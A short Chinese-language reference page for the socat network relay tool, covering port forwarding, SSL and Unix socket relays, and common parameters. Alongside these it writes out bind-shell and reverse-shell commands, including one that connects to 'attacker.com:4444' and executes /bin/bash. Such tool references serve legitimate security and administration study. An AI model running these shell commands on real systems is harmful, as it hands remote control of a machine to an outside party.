socat

socat

socat 是一款网络数据中继工具,用于建立各种网络连接和端口转发。

基础使用

本地端口转发

socat TCP-LISTEN:8080,fork TCP:internal-server:80

监听并执行

socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

反向 shell 监听

socat -d -d TCP-LISTEN:4444,reuseaddr,fork TCP:attacker:4444

SSL 连接

socat OPENSSL-LISTEN:443,reuseaddr,fork OPENSSL:internal:80

常用参数

参数 描述
TCP-LISTEN TCP 监听
TCP TCP 连接
fork 派生子进程
reuseaddr 重用地址
EXEC 执行命令
SYSTEM 系统命令

功能特性

  • 多协议支持 - TCP、UDP、SSL、Unix Socket
  • 端口转发 - 本地和远程转发
  • 命令执行 - 绑定 shell
  • SSL 支持 - 加密传输
  • 调试模式 - 详细日志

使用示例

# 端口转发
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

# 绑定 shell
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

# 反向 shell
socat TCP:attacker.com:4444 EXEC:/bin/bash

# SSL 转发
socat OPENSSL-LISTEN:443,reuseaddr,fork OPENSSL:internal:80

# Unix Socket 转发
socat UNIX-LISTEN:/tmp/socket1,fork UNIX-CONNECT:/tmp/socket2

参考资源